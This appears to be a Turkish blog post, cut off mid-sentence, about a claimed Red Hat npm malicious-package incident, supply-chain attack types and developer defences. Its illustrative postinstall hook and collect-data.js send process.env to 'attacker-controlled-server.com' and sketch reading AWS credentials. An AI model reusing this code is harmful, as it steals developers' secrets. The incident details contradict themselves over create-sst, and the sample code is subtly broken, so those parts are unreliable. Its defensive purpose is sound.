{"id":42401,"date":"2026-06-08T21:12:04","date_gmt":"2026-06-08T18:12:04","guid":{"rendered":"https:\/\/fatihsoysal.com\/blog\/red-hat-npm-olayi-her-gelistiricinin-bilmesi-gerekenler-ve-tedbirler\/"},"modified":"2026-06-08T21:12:21","modified_gmt":"2026-06-08T18:12:21","slug":"red-hat-npm-olayi-her-gelistiricinin-bilmesi-gerekenler-ve-tedbirler","status":"publish","type":"post","link":"https:\/\/fatihsoysal.com\/blog\/red-hat-npm-olayi-her-gelistiricinin-bilmesi-gerekenler-ve-tedbirler\/","title":{"rendered":"Red Hat npm Olay\u0131: Her Geli\u015ftiricinin Bilmesi Gerekenler ve Tedbirler"},"content":{"rendered":"<h2>Red Hat npm Olay\u0131: Her Geli\u015ftiricinin Bilmesi Gerekenler ve Tedbirler<\/h2>\n<p>Yaz\u0131l\u0131m tedarik zinciri sald\u0131r\u0131lar\u0131 g\u00fcn\u00fcm\u00fcz\u00fcn en b\u00fcy\u00fck siber g\u00fcvenlik tehditlerinden biri haline geldi. Red Hat&#8217;in npm \u00fczerindeki k\u00f6t\u00fc niyetli paketleri tespit etmesi, bu riskin ne kadar ger\u00e7ek oldu\u011funu bir kez daha g\u00f6sterdi. Peki, bu olay tam olarak neydi ve geli\u015ftiriciler kendilerini nas\u0131l koruyabilir?<\/p>\n<p>Modern yaz\u0131l\u0131m geli\u015ftirme s\u00fcre\u00e7leri, genellikle a\u00e7\u0131k kaynakl\u0131 k\u00fct\u00fcphanelere ve paketlere dayan\u0131r. Bu ba\u011f\u0131ml\u0131l\u0131klar, geli\u015ftirme h\u0131z\u0131n\u0131 art\u0131r\u0131rken ayn\u0131 zamanda projelere d\u0131\u015far\u0131dan gelen g\u00fcvenlik risklerini de beraberinde getirir. Red Hat&#8217;in 2023 Mart ay\u0131nda npm (Node Package Manager) \u00fczerinde tespit etti\u011fi k\u00f6t\u00fc niyetli paketler, bu ba\u011f\u0131ml\u0131l\u0131klar\u0131n ne kadar kritik olabilece\u011fini ve k\u00f6t\u00fc niyetli akt\u00f6rler taraf\u0131ndan nas\u0131l istismar edilebilece\u011fini g\u00f6zler \u00f6n\u00fcne serdi. Bu olay, sadece Red Hat&#8217;i de\u011fil, t\u00fcm geli\u015ftirme toplulu\u011funu yak\u0131ndan ilgilendiren \u00f6nemli dersler i\u00e7eriyor. Geli\u015ftiriciler olarak, kulland\u0131\u011f\u0131m\u0131z her bir paketin arkas\u0131ndaki potansiyel riskleri anlamak ve proaktif g\u00fcvenlik \u00f6nlemleri almak art\u0131k bir tercih de\u011fil, zorunluluktur. Bu makalede, Red Hat npm olay\u0131n\u0131n detaylar\u0131n\u0131 inceleyecek, yaz\u0131l\u0131m tedarik zinciri sald\u0131r\u0131lar\u0131n\u0131n do\u011fas\u0131n\u0131 anlayacak ve kendinizi ve projelerinizi bu t\u00fcr tehditlerden korumak i\u00e7in atman\u0131z gereken ad\u0131mlar\u0131 ad\u0131m ad\u0131m ele alaca\u011f\u0131z.<\/p>\n<h3>Red Hat npm Olay\u0131 Tam Olarak Neydi ve Neden Bu Kadar \u00d6nemliydi?<\/h3>\n<p>2023 y\u0131l\u0131n\u0131n Mart ay\u0131nda Red Hat&#8217;in g\u00fcvenlik ekibi, npm paket y\u00f6neticisi \u00fczerinde iki kritik k\u00f6t\u00fc niyetli paketi tespit etti: <code>create-sst<\/code> ve <code>esbuild-linux-64<\/code>. Bu paketler, masum g\u00f6r\u00fcn\u00fcmlerinin aksine, kullan\u0131c\u0131lar\u0131n ortam de\u011fi\u015fkenlerini (environment variables) ve di\u011fer hassas verilerini \u00e7almak \u00fczere tasarlanm\u0131\u015ft\u0131. Olay\u0131n \u00f6z\u00fc, bir geli\u015ftiricinin pop\u00fcler bir komut sat\u0131r\u0131 arac\u0131 veya k\u00fct\u00fcphane ad\u0131 ile benzer, ancak k\u00f6t\u00fc niyetli bir paketi yanl\u0131\u015fl\u0131kla y\u00fcklemesi \u00fczerine kurulu bir sald\u0131r\u0131 stratejisiydi. Sald\u0131rganlar, me\u015fru paket isimlerini taklit ederek veya \u00e7ok benzer isimler kullanarak, geli\u015ftiricileri tuza\u011fa d\u00fc\u015f\u00fcrmeyi ama\u00e7l\u0131yorlard\u0131. \u00d6rne\u011fin, ger\u00e7ek bir paketin ad\u0131 <code>create-something<\/code> iken, sald\u0131rganlar <code>create-somthing<\/code> gibi yaz\u0131m hatas\u0131 i\u00e7eren bir isimle k\u00f6t\u00fc niyetli paketlerini yay\u0131nlayabiliyorlard\u0131.<\/p>\n<p>Bu olay\u0131n \u00f6nemi birka\u00e7 a\u00e7\u0131dan ele al\u0131nabilir. \u00d6ncelikle, npm ekosistemi, JavaScript ve Node.js projelerinin temelini olu\u015fturur ve milyonlarca geli\u015ftirici taraf\u0131ndan her g\u00fcn binlerce paketin indirilip kullan\u0131ld\u0131\u011f\u0131 devasa bir platformdur. Bu nedenle, npm \u00fczerinde ortaya \u00e7\u0131kan herhangi bir g\u00fcvenlik a\u00e7\u0131\u011f\u0131 veya k\u00f6t\u00fc niyetli aktivite, potansiyel olarak geni\u015f bir kullan\u0131c\u0131 kitlesini etkileyebilir. \u0130kincisi, \u00e7al\u0131nan verilerin do\u011fas\u0131 olduk\u00e7a hassast\u0131. Ortam de\u011fi\u015fkenleri, API anahtarlar\u0131, veritaban\u0131 ba\u011flant\u0131 bilgileri, bulut hizmeti kimlik bilgileri gibi kritik bilgileri i\u00e7erebilir. Bu t\u00fcr verilerin ele ge\u00e7irilmesi, ciddi veri ihlallerine, finansal kay\u0131plara ve sistemlerin tamamen ele ge\u00e7irilmesine yol a\u00e7abilir. \u00dc\u00e7\u00fcnc\u00fcs\u00fc, bu olay, yaz\u0131l\u0131m tedarik zinciri sald\u0131r\u0131lar\u0131n\u0131n ne kadar sofistike hale geldi\u011fini ve sadece b\u00fcy\u00fck kurumsal sistemleri de\u011fil, bireysel geli\u015ftiricileri bile hedef alabildi\u011fini g\u00f6sterdi. Bir paketi indirip kurmak gibi rutin bir i\u015flem, fark\u0131nda olmadan bir g\u00fcvenlik felaketine d\u00f6n\u00fc\u015febilirdi.<\/p>\n<p>Red Hat&#8217;in tespiti ve h\u0131zl\u0131 m\u00fcdahalesi sayesinde bu paketler k\u0131sa s\u00fcrede npm&#8217;den kald\u0131r\u0131lm\u0131\u015f olsa da, olay, geli\u015ftiricilerin ve kurumlar\u0131n yaz\u0131l\u0131m tedarik zinciri g\u00fcvenli\u011fine bak\u0131\u015f a\u00e7\u0131s\u0131n\u0131 temelden de\u011fi\u015ftirmesi gerekti\u011fini bir kez daha vurgulad\u0131. Daha \u00f6nceki benzer olaylar, \u00f6rne\u011fin 2018&#8217;deki <code>event-stream<\/code> paketi olay\u0131nda, bir paketin i\u00e7ine k\u00f6t\u00fc niyetli kod enjekte edilmesi veya 2021&#8217;deki <code>coa<\/code> ve <code>rc<\/code> paketlerinin hesap ele ge\u00e7irme yoluyla ele ge\u00e7irilmesi gibi vakalar, bu t\u00fcr sald\u0131r\u0131lar\u0131n s\u00fcrekli bir tehdit oldu\u011funu kan\u0131tlam\u0131\u015ft\u0131. Red Hat olay\u0131, bu tehdidin g\u00fcncelli\u011fini korudu\u011funu ve s\u00fcrekli tetikte olman\u0131n gereklili\u011fini hat\u0131rlatan \u00f6nemli bir uyar\u0131 niteli\u011findeydi.<\/p>\n<h3>Yaz\u0131l\u0131m Tedarik Zinciri Sald\u0131r\u0131lar\u0131 Nelerdir ve Nas\u0131l Ger\u00e7ekle\u015fir?<\/h3>\n<p>Yaz\u0131l\u0131m tedarik zinciri sald\u0131r\u0131lar\u0131, bir yaz\u0131l\u0131m\u0131n geli\u015ftirilmesi, da\u011f\u0131t\u0131lmas\u0131 veya g\u00fcncellenmesi a\u015famalar\u0131ndan herhangi birinde k\u00f6t\u00fc niyetli kodun veya i\u015flevselli\u011fin sisteme s\u0131zd\u0131r\u0131lmas\u0131 anlam\u0131na gelir. Bu sald\u0131r\u0131lar, sadece son kullan\u0131c\u0131lar\u0131 de\u011fil, yaz\u0131l\u0131m\u0131 geli\u015ftiren, da\u011f\u0131tan ve kullanan t\u00fcm payda\u015flar\u0131 etkileyebilir. Modern yaz\u0131l\u0131m geli\u015ftirme ekosistemleri, bir\u00e7ok farkl\u0131 bile\u015fenden (a\u00e7\u0131k kaynak k\u00fct\u00fcphaneleri, ticari \u00fcr\u00fcnler, ba\u011f\u0131ml\u0131l\u0131klar, derleyiciler, derleme ara\u00e7lar\u0131 vb.) olu\u015ftu\u011fu i\u00e7in, sald\u0131rganlar bu zincirin herhangi bir halkas\u0131na odaklanabilirler. Paket y\u00f6neticileri (Node.js i\u00e7in npm, Python i\u00e7in pip, Java i\u00e7in Maven, .NET i\u00e7in NuGet gibi), bu zincirin en kritik ve en \u00e7ok hedef al\u0131nan noktalar\u0131ndan biridir, \u00e7\u00fcnk\u00fc geli\u015ftiriciler projelerine yeni i\u015flevsellik eklerken s\u00fcrekli olarak bu platformlardan paketler indirirler.<\/p>\n<p>Bu t\u00fcr sald\u0131r\u0131lar genellikle \u00e7e\u015fitli vekt\u00f6rler arac\u0131l\u0131\u011f\u0131yla ger\u00e7ekle\u015fir:<\/p>\n<ul>\n<li><strong>Tiposquatting (Yaz\u0131m Hatas\u0131 Tuza\u011f\u0131):<\/strong> Bu y\u00f6ntemde sald\u0131rganlar, pop\u00fcler bir paketin ad\u0131na \u00e7ok benzeyen (genellikle bir veya iki karakter fark\u0131 olan) k\u00f6t\u00fc niyetli bir paket olu\u015ftururlar. Geli\u015ftiriciler, paket ad\u0131n\u0131 yanl\u0131\u015f yazd\u0131klar\u0131nda veya h\u0131zl\u0131ca kopyalay\u0131p yap\u0131\u015ft\u0131rd\u0131klar\u0131nda fark\u0131nda olmadan bu k\u00f6t\u00fc niyetli paketi indirebilirler. Red Hat olay\u0131nda <code>create-sst<\/code> paketinin bu kategoriye girdi\u011fi d\u00fc\u015f\u00fcn\u00fclmektedir.<\/li>\n<li><strong>Ba\u011f\u0131ml\u0131l\u0131k Zehirlenmesi (Dependency Confusion):<\/strong> Bu sald\u0131r\u0131 t\u00fcr\u00fc, genellikle kurumsal ortamlar\u0131 hedefler. Sald\u0131rganlar, bir \u015firketin dahili olarak kulland\u0131\u011f\u0131 \u00f6zel paket adlar\u0131n\u0131 tahmin eder ve ayn\u0131 isimle k\u00f6t\u00fc niyetli bir paketi herkese a\u00e7\u0131k bir paket deposuna (npm, PyPI) y\u00fckler. Paket y\u00f6neticisi, varsay\u0131lan olarak herkese a\u00e7\u0131k depoyu kontrol etti\u011fi i\u00e7in, dahili paketin yerine k\u00f6t\u00fc niyetli paketi indirip kurabilir.<\/li>\n<li><strong>Hesap Ele Ge\u00e7irme (Account Takeover):<\/strong> Bir paketin orijinal geli\u015ftiricisinin veya bak\u0131mc\u0131s\u0131n\u0131n hesab\u0131 ele ge\u00e7irildi\u011finde, sald\u0131rganlar paketin mevcut s\u00fcr\u00fcmlerini k\u00f6t\u00fc niyetli kodla g\u00fcncelleyebilir veya yeni k\u00f6t\u00fc niyetli s\u00fcr\u00fcmler yay\u0131nlayabilir. <code>coa<\/code> ve <code>rc<\/code> npm paketlerinin ba\u015f\u0131na gelen buydu.<\/li>\n<li><strong>K\u00f6t\u00fc Niyetli Kod Enjeksiyonu:<\/strong> Bu, mevcut bir a\u00e7\u0131k kaynak projesine k\u00f6t\u00fc niyetli kodun gizlice eklenmesidir. Bu, ya projenin bak\u0131mc\u0131s\u0131 hacklenerek ya da k\u00f6t\u00fc niyetli bir katk\u0131c\u0131n\u0131n (contributor) kod inceleme s\u00fcrecini atlatmas\u0131yla ger\u00e7ekle\u015febilir.<\/li>\n<li><strong>Zay\u0131f Altyap\u0131 G\u00fcvenli\u011fi:<\/strong> Paket depolar\u0131n\u0131n veya CI\/CD (S\u00fcrekli Entegrasyon\/S\u00fcrekli Da\u011f\u0131t\u0131m) boru hatlar\u0131n\u0131n g\u00fcvenlik a\u00e7\u0131klar\u0131ndan yararlan\u0131larak k\u00f6t\u00fc niyetli kodun sisteme s\u0131zd\u0131r\u0131lmas\u0131 da m\u00fcmk\u00fcnd\u00fcr.<\/li>\n<\/ul>\n<p>Red Hat olay\u0131nda, \u00f6zellikle Tiposquatting ve k\u00f6t\u00fc niyetli kod enjeksiyonu tekniklerinin bir kombinasyonu kullan\u0131ld\u0131. Sald\u0131rganlar, geli\u015ftiricilerin yayg\u0131n olarak kulland\u0131\u011f\u0131 ara\u00e7lar\u0131n isimlerini taklit ederek, masum g\u00f6r\u00fcnen paketler arac\u0131l\u0131\u011f\u0131yla sistemlere s\u0131zmaya \u00e7al\u0131\u015ft\u0131lar. Bu, bir paketi indirmenin ne kadar basit ama potansiyel olarak tehlikeli bir eylem olabilece\u011fini a\u00e7\u0131k\u00e7a g\u00f6steriyor. Bu t\u00fcr sald\u0131r\u0131lar, sadece geli\u015ftirme ortam\u0131n\u0131 de\u011fil, nihai \u00fcr\u00fcnlerin ve bunlar\u0131 kullanan son kullan\u0131c\u0131lar\u0131n g\u00fcvenli\u011fini de do\u011frudan etkileyebilir.<\/p>\n<h3>Red Hat Olay\u0131nda Kullan\u0131lan Teknikler: Tiposquatting ve K\u00f6t\u00fc Niyetli Kod Enjeksiyonu<\/h3>\n<p>Red Hat npm olay\u0131nda tespit edilen k\u00f6t\u00fc niyetli paketler, siber sald\u0131rganlar\u0131n s\u0131kl\u0131kla ba\u015fvurdu\u011fu iki temel tekni\u011fi bir araya getirmi\u015fti: Tiposquatting ve k\u00f6t\u00fc niyetli kod enjeksiyonu. Bu iki y\u00f6ntem, geli\u015ftiricilerin dikkatini da\u011f\u0131tarak ve rutin i\u015flemlerin aras\u0131na gizlenerek hedeflerine ula\u015fmay\u0131 ama\u00e7lar.<\/p>\n<p><strong>Tiposquatting (Yaz\u0131m Hatas\u0131 Tuza\u011f\u0131)<\/strong><\/p>\n<p>Tiposquatting, ad\u0131ndan da anla\u015f\u0131laca\u011f\u0131 gibi, yaz\u0131m hatalar\u0131ndan faydalanma prensibine dayan\u0131r. Sald\u0131rganlar, pop\u00fcler ve yayg\u0131n olarak kullan\u0131lan bir npm paketinin ad\u0131n\u0131 dikkatlice inceler ve ona \u00e7ok benzeyen, ancak k\u00f6t\u00fc niyetli bir paket olu\u015fturur. \u00d6rne\u011fin, resmi bir paketin ad\u0131 <code>@angular\/cli<\/code> iken, sald\u0131rganlar <code>@angulr\/cli<\/code> veya <code>angular-cli-package<\/code> gibi isimler kullanabilirler. Geli\u015ftiriciler, genellikle komut sat\u0131r\u0131nda h\u0131zl\u0131ca yazarken veya kopyala-yap\u0131\u015ft\u0131r yaparken bu k\u00fc\u00e7\u00fck farklar\u0131 g\u00f6zden ka\u00e7\u0131rabilirler. Red Hat olay\u0131nda, <code>create-sst<\/code> paketi, ger\u00e7ek ve pop\u00fcler bir paketin ad\u0131n\u0131 taklit ederek bu y\u00f6ntemi kullanm\u0131\u015f olabilir. Bir geli\u015ftirici, <code>npm install create-sst<\/code> yerine, yanl\u0131\u015fl\u0131kla benzer isimdeki k\u00f6t\u00fc niyetli paketi y\u00fckleyebilir ve sald\u0131rganlara kap\u0131 aralayabilir.<\/p>\n<p><strong>K\u00f6t\u00fc Niyetli Kod Enjeksiyonu ve <code>postinstall<\/code> Scriptleri<\/strong><\/p>\n<p>Tiposquatting ile paketin sisteme y\u00fcklenmesi sa\u011fland\u0131ktan sonra, k\u00f6t\u00fc niyetli kodun \u00e7al\u0131\u015ft\u0131r\u0131lmas\u0131 gerekir. npm paketleri, kurulum (install) veya kurulum sonras\u0131 (postinstall) gibi belirli ya\u015fam d\u00f6ng\u00fcs\u00fc olaylar\u0131nda \u00e7al\u0131\u015ft\u0131r\u0131lacak script&#8217;ler tan\u0131mlayabilir. \u0130\u015fte bu nokta, k\u00f6t\u00fc niyetli kod enjeksiyonunun devreye girdi\u011fi yerdir. Sald\u0131rganlar, paketlerine, kurulum tamamland\u0131ktan hemen sonra otomatik olarak \u00e7al\u0131\u015facak bir <code>postinstall<\/code> script&#8217;i eklerler. Bu script, genellikle arka planda sessizce \u00e7al\u0131\u015f\u0131r ve hassas verileri toplar veya ba\u015fka k\u00f6t\u00fc niyetli eylemleri ger\u00e7ekle\u015ftirir.<\/p>\n<p>\u00d6rnek olarak, k\u00f6t\u00fc niyetli bir <code>package.json<\/code> dosyas\u0131 \u015fu \u015fekilde g\u00f6r\u00fcnebilir:<\/p>\n<div class=\"code-container\">\n<pre><code>\n{\n  \"name\": \"malicious-package\",\n  \"version\": \"1.0.0\",\n  \"description\": \"Bu paket, projenize harika bir \u00f6zellik ekler!\",\n  \"scripts\": {\n    \"postinstall\": \"node .\/collect-data.js\"\n  }\n}\n<\/code><\/pre>\n<\/div>\n<p>Bu <code>package.json<\/code> dosyas\u0131nda, paket kurulur kurulmaz <code>collect-data.js<\/code> adl\u0131 bir Node.js script&#8217;inin \u00e7al\u0131\u015ft\u0131r\u0131laca\u011f\u0131 belirtilmi\u015ftir. Bu script&#8217;in i\u00e7eri\u011fi ise, Red Hat olay\u0131nda oldu\u011fu gibi, kullan\u0131c\u0131n\u0131n ortam de\u011fi\u015fkenlerini (<code>process.env<\/code>) veya di\u011fer hassas dosyalar\u0131 okuyup, bunlar\u0131 sald\u0131rgan\u0131n kontrol\u00fcndeki bir sunucuya g\u00f6ndermek \u00fczere tasarlanm\u0131\u015f olabilir. \u00d6rne\u011fin:<\/p>\n<div class=\"code-container\">\n<pre><code>\n\/\/ collect-data.js\nconst fs = require('fs');\nconst https = require('https'); \/\/ Hassas verileri g\u00fcvenli bir \u015fekilde g\u00f6ndermek i\u00e7in\n\n\/\/ Ortam de\u011fi\u015fkenlerini toplama\nconst sensitiveData = JSON.stringify(process.env);\n\n\/\/ Di\u011fer potansiyel hassas dosyalar\u0131 okuma (\u00f6rne\u011fin .aws\/credentials, .kube\/config)\n\/\/ Bu k\u0131s\u0131m sald\u0131r\u0131n\u0131n sofistikeli\u011fine g\u00f6re de\u011fi\u015febilir.\n\/\/ const awsCredentialsPath = path.join(os.homedir(), '.aws', 'credentials');\n\/\/ if (fs.existsSync(awsCredentialsPath)) {\n\/\/     sensitiveData += '\\nAWS Credentials:\\n' + fs.readFileSync(awsCredentialsPath, 'utf8');\n\/\/ }\n\n\/\/ Toplanan veriyi sald\u0131rgan\u0131n sunucusuna g\u00f6nderme\nconst options = {\n  hostname: 'attacker-controlled-server.com', \/\/ Sald\u0131rgan\u0131n sunucusu\n  port: 443,\n  path: '\/upload',\n  method: 'POST',\n  headers: {\n    'Content-Type': 'application\/json',\n    'Content-Length': Buffer.byteLength(sensitiveData)\n  }\n};\n\nconst req = https.request(options, (res) => {\n  console.log(<code>STATUS: ${res.statusCode}<\/code>);\n  res.on('data', (d) => {\n    process.stdout.write(d);\n  });\n});\n\nreq.on('error', (e) => {\n  console.error(<code>problem with request: ${e.message}<\/code>);\n});\n\nreq.write(sensitiveData);\nreq.end();\n\nconsole.log('Paket ba\u015far\u0131yla kuruldu ve ba\u015flat\u0131ld\u0131.'); \/\/ Kullan\u0131c\u0131y\u0131 yan\u0131ltmak i\u00e7in\n<\/code><\/pre>\n<\/div>\n<p>Yukar\u0131daki \u00f6rnek script, ortam de\u011fi\u015fkenlerini al\u0131p HTTPS \u00fczerinden k\u00f6t\u00fc niyetli bir sunucuya g\u00f6ndermeyi ama\u00e7lar. Bu i\u015flem genellikle sessizce ve arka planda ger\u00e7ekle\u015fti\u011fi i\u00e7in, kullan\u0131c\u0131lar paketin kuruldu\u011funu d\u00fc\u015f\u00fcn\u00fcrken asl\u0131nda hassas verileri s\u0131zd\u0131r\u0131lm\u0131\u015f olur. Red Hat olay\u0131nda <code>esbuild-linux-64<\/code> gibi paketlerin de benzer bir mekanizma ile \u00e7al\u0131\u015ft\u0131\u011f\u0131 ve Linux sistemlerdeki ortam de\u011fi\u015fkenlerini hedef ald\u0131\u011f\u0131 belirtilmi\u015ftir. Bu t\u00fcr sald\u0131r\u0131lar, geli\u015ftirme ortamlar\u0131n\u0131n ve CI\/CD s\u00fcre\u00e7lerinin g\u00fcvenli\u011fi i\u00e7in ciddi bir tehdit olu\u015fturur.<\/p>\n<h3>Geli\u015ftiriciler Kendilerini Nas\u0131l Koruyabilir? Pratik G\u00fcvenlik Ad\u0131mlar\u0131<\/h3>\n<p>Red Hat npm olay\u0131 gibi vakalar, geli\u015ftiricilerin yaz\u0131l\u0131m tedarik zinciri g\u00fcvenli\u011fine daha bilin\u00e7li yakla\u015fmas\u0131 gerekti\u011fini g\u00f6steriyor. Ancak endi\u015felenmeye gerek yok; alabilece\u011finiz pratik ad\u0131mlar ve kullanabilece\u011finiz ara\u00e7lar mevcut. \u0130\u015fte kendinizi ve projelerinizi korumak i\u00e7in uygulayabilece\u011finiz temel g\u00fcvenlik \u00f6nlemleri:<\/p>\n<ol>\n<li><strong>Paketleri Dikkatlice \u0130nceleyin ve Do\u011frulay\u0131n:<\/strong>\n<ul>\n<li><strong>Kaynak Kontrol\u00fc:<\/strong> Bir paketi kullanmadan \u00f6nce, projenin GitHub deposunu veya resmi web sitesini ziyaret edin. Bak\u0131mc\u0131lar\u0131n\u0131n kimler oldu\u011funu, ne kadar aktif olduklar\u0131n\u0131 ve toplulukta nas\u0131l bir itibara sahip olduklar\u0131n\u0131 ara\u015ft\u0131r\u0131n. G\u00fcvenilir ve aktif olarak bak\u0131m\u0131 yap\u0131lan paketleri tercih edin.<\/li>\n<li><strong>Yaz\u0131m Hatas\u0131 Kontrol\u00fc (Tiposquatting&#8217;e Kar\u015f\u0131):<\/strong> Paket adlar\u0131n\u0131 yazarken veya kopyalay\u0131p yap\u0131\u015ft\u0131r\u0131rken son derece dikkatli olun. K\u00fc\u00e7\u00fck bir yaz\u0131m hatas\u0131 bile sizi k\u00f6t\u00fc niyetli bir pakete y\u00f6nlendirebilir. \u00d6zellikle pop\u00fcler paketlerin isimlerinin do\u011fru oldu\u011fundan emin olun.<\/li>\n<li><strong>\u0130ndirme Say\u0131s\u0131 ve Pop\u00fclerlik:<\/strong> Y\u00fcksek indirme say\u0131lar\u0131 ve y\u0131ld\u0131zlar, bir paketin genel kabul g\u00f6rm\u00fc\u015f ve muhtemelen daha g\u00fcvenli oldu\u011funu g\u00f6sterebilir. Ancak bu tek ba\u015f\u0131na bir g\u00fcvenlik garantisi de\u011fildir; <code>event-stream<\/code> gibi olaylar, pop\u00fcler paketlerin bile tehlikeye at\u0131labilece\u011fini g\u00f6stermi\u015ftir.<\/li>\n<\/ul>\n<\/li>\n<li><strong>G\u00fcvenlik Tarama Ara\u00e7lar\u0131n\u0131 Kullan\u0131n:<\/strong>\n<ul>\n<li><strong><code>npm audit<\/code> ve <code>yarn audit<\/code>:<\/strong> Bu yerle\u015fik komutlar, projenizdeki ba\u011f\u0131ml\u0131l\u0131klarda bilinen g\u00fcvenlik a\u00e7\u0131klar\u0131n\u0131 tarar ve size rapor sunar. D\u00fczenli olarak bu komutlar\u0131 \u00e7al\u0131\u015ft\u0131rmak, potansiyel zafiyetleri erken a\u015famada tespit etmenizi sa\u011flar.\n<div class=\"code-container\">\n<pre><code>\nnpm audit\n# veya\nyarn audit\n                <\/code><\/pre>\n<\/p><\/div>\n<\/li>\n<li><strong>\u00dc\u00e7\u00fcnc\u00fc Taraf Taray\u0131c\u0131lar:<\/strong> Snyk, Dependabot (GitHub ile entegre), OWASP Dependency-Check gibi ara\u00e7lar, daha derinlemesine g\u00fcvenlik taramalar\u0131 sunar ve yeni zafiyetler ke\u015ffedildi\u011finde sizi uyar\u0131r. Bu ara\u00e7lar\u0131 CI\/CD s\u00fcre\u00e7lerinize entegre etmek, otomatik g\u00fcvenlik kontrolleri sa\u011flaman\u0131n etkili bir yoludur.<\/li>\n<\/ul>\n<\/li>\n<li><strong>Minimum Ayr\u0131cal\u0131k Prensibini (Least Privilege) Uygulay\u0131n:<\/strong>\n<ul>\n<li>Geli\u015ftirme ortam\u0131n\u0131zda veya CI\/CD makinelerinizde, paket kurulumu gibi i\u015flemler i\u00e7in m\u00fcmk\u00fcn olan en d\u00fc\u015f\u00fck yetkilere sahip kullan\u0131c\u0131lar\u0131 kullan\u0131n. K\u00f6t\u00fc niyetli bir paket \u00e7al\u0131\u015ft\u0131r\u0131lsa bile, sistem \u00fczerinde yapabilece\u011fi zarar\u0131 s\u0131n\u0131rlars\u0131n\u0131z.<\/li>\n<li>Hassas ortam de\u011fi\u015fkenlerini (API anahtarlar\u0131, veritaban\u0131 \u015fifreleri) sadece ihtiya\u00e7 duyulan yerlerde ve m\u00fcmk\u00fcnse gizli y\u00f6netim sistemleri (secret management systems) arac\u0131l\u0131\u011f\u0131yla kullan\u0131n.<\/li>\n<\/ul>\n<\/li>\n<li><strong><code>package-lock.json<\/code> ve <code>yarn.lock<\/code> Dosyalar\u0131n\u0131n \u00d6nemi:<\/strong>\n<ul>\n<li>Bu dosyalar, projenizin ba\u011f\u0131ml\u0131l\u0131klar\u0131n\u0131n tam s\u00fcr\u00fcmlerini ve onlar\u0131n ba\u011f\u0131ml\u0131l\u0131klar\u0131n\u0131 kilitler. Bu sayede, ayn\u0131 projeyi farkl\u0131 zamanlarda veya farkl\u0131 makinelerde kurdu\u011funuzda her zaman ayn\u0131 paket s\u00fcr\u00fcmlerinin kullan\u0131lmas\u0131n\u0131 sa\u011flars\u0131n\u0131z. Bu, ba\u011f\u0131ml\u0131l\u0131k a\u011fac\u0131n\u0131zda k\u00f6t\u00fc niyetli bir g\u00fcncellemenin sessizce s\u0131zmas\u0131n\u0131 engellemeye yard\u0131mc\u0131 olur. Bu dosyalar\u0131 versiyon kontrol sisteminize (Git) eklemeyi asla unutmay\u0131n.<\/li>\n<\/ul>\n<\/li>\n<li><strong>\u0130ki Fakt\u00f6rl\u00fc Kimlik Do\u011frulama (2FA) Kullan\u0131m\u0131:<\/strong>\n<ul>\n<li>npm, GitHub gibi platformlarda hesaplar\u0131n\u0131z i\u00e7in iki fakt\u00f6rl\u00fc kimlik do\u011frulamay\u0131 etkinle\u015ftirin. Bu, hesaplar\u0131n\u0131z\u0131n ele ge\u00e7irilmesi durumunda k\u00f6t\u00fc niyetli ki\u015filerin paketlerinize eri\u015fmesini veya k\u00f6t\u00fc niyetli s\u00fcr\u00fcmler yay\u0131nlamas\u0131n\u0131 zorla\u015ft\u0131r\u0131r.<\/li>\n<\/ul>\n<\/li>\n<li><strong>Manuel Kod \u0130ncelemesi:<\/strong>\n<ul>\n<li>Kritik veya k\u00fc\u00e7\u00fck boyutlu paketler i\u00e7in, \u00f6zellikle <code>postinstall<\/code> veya <code>preinstall<\/code> script&#8217;leri i\u00e7eren paketlerde, kodunu manuel olarak incelemek faydal\u0131 olabilir. \u015e\u00fcpheli a\u011f istekleri, dosya sistemi eri\u015fimi veya gizli komut \u00e7al\u0131\u015ft\u0131rmalar\u0131 aray\u0131n.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n<p>Bu ad\u0131mlar, geli\u015ftiricilerin g\u00fcnl\u00fck i\u015f ak\u0131\u015flar\u0131na entegre edebilece\u011fi pratik ve etkili y\u00f6ntemlerdir. G\u00fcvenlik, tek seferlik bir i\u015flem de\u011fil, s\u00fcrekli bir s\u00fcre\u00e7tir ve bu ad\u0131mlar\u0131 d\u00fczenli olarak uygulamak, projelerinizin g\u00fcvenli\u011fini \u00f6nemli \u00f6l\u00e7\u00fcde art\u0131racakt\u0131r.<\/p>\n<h3>Kurumsal D\u00fczeyde Tedarik Zinciri G\u00fcvenli\u011fi Stratejileri<\/h3>\n<p>Bireysel geli\u015ftiricilerin alabilece\u011fi \u00f6nlemlerin yan\u0131 s\u0131ra, b\u00fcy\u00fck kurulu\u015flar ve yaz\u0131l\u0131m \u015firketleri i\u00e7in daha kapsaml\u0131 tedarik zinciri g\u00fcvenli\u011fi stratejileri geli\u015ftirmek hayati \u00f6nem ta\u015f\u0131r. Kurumsal d\u00fczeyde at\u0131lacak ad\u0131mlar, sadece tekil sald\u0131r\u0131lar\u0131 \u00f6nlemekle kalmaz, ayn\u0131 zamanda geni\u015f \u00e7apl\u0131 sistemik riskleri de minimize eder.<\/p>\n<ol>\n<li><strong>G\u00fcvenilir Kaynaklardan \u0130ndirme Politikalar\u0131 ve \u00d6zel Paket Kay\u0131tlar\u0131:<\/strong>\n<ul>\n<li>\u015eirketler, a\u00e7\u0131k kaynakl\u0131 paketleri do\u011frudan halka a\u00e7\u0131k npm deposundan indirmek yerine, kendi \u00f6zel paket kay\u0131tlar\u0131n\u0131 (private registries) kullanabilirler. Bu kay\u0131tlar (\u00f6rne\u011fin Nexus, Artifactory), indirilen paketleri \u00f6nceden tarayabilir, onaylayabilir ve yaln\u0131zca g\u00fcvenli oldu\u011fu bilinen s\u00fcr\u00fcmlerin dahili olarak kullan\u0131lmas\u0131na izin verebilir. Bu, bir &#8220;g\u00fcvenilir paket listesi&#8221; olu\u015fturman\u0131n etkili bir yoludur.<\/li>\n<li>Dahili kullan\u0131m i\u00e7in onaylanm\u0131\u015f paketlerin bir listesini (whitelist) olu\u015fturmak ve geli\u015ftiricilerin sadece bu listedeki paketleri kullanmas\u0131n\u0131 zorunlu k\u0131lmak, riskleri \u00f6nemli \u00f6l\u00e7\u00fcde azalt\u0131r.<\/li>\n<\/ul>\n<\/li>\n<li><strong>\u0130\u00e7erik Tarama ve Sandboxing (Kumlama):<\/strong>\n<ul>\n<li>Paketler, \u00fcretime veya geli\u015ftirme ortamlar\u0131na al\u0131nmadan \u00f6nce otomatik g\u00fcvenlik ara\u00e7lar\u0131 taraf\u0131ndan derinlemesine taranmal\u0131d\u0131r. Bu taramalar, bilinen g\u00fcvenlik a\u00e7\u0131klar\u0131n\u0131, 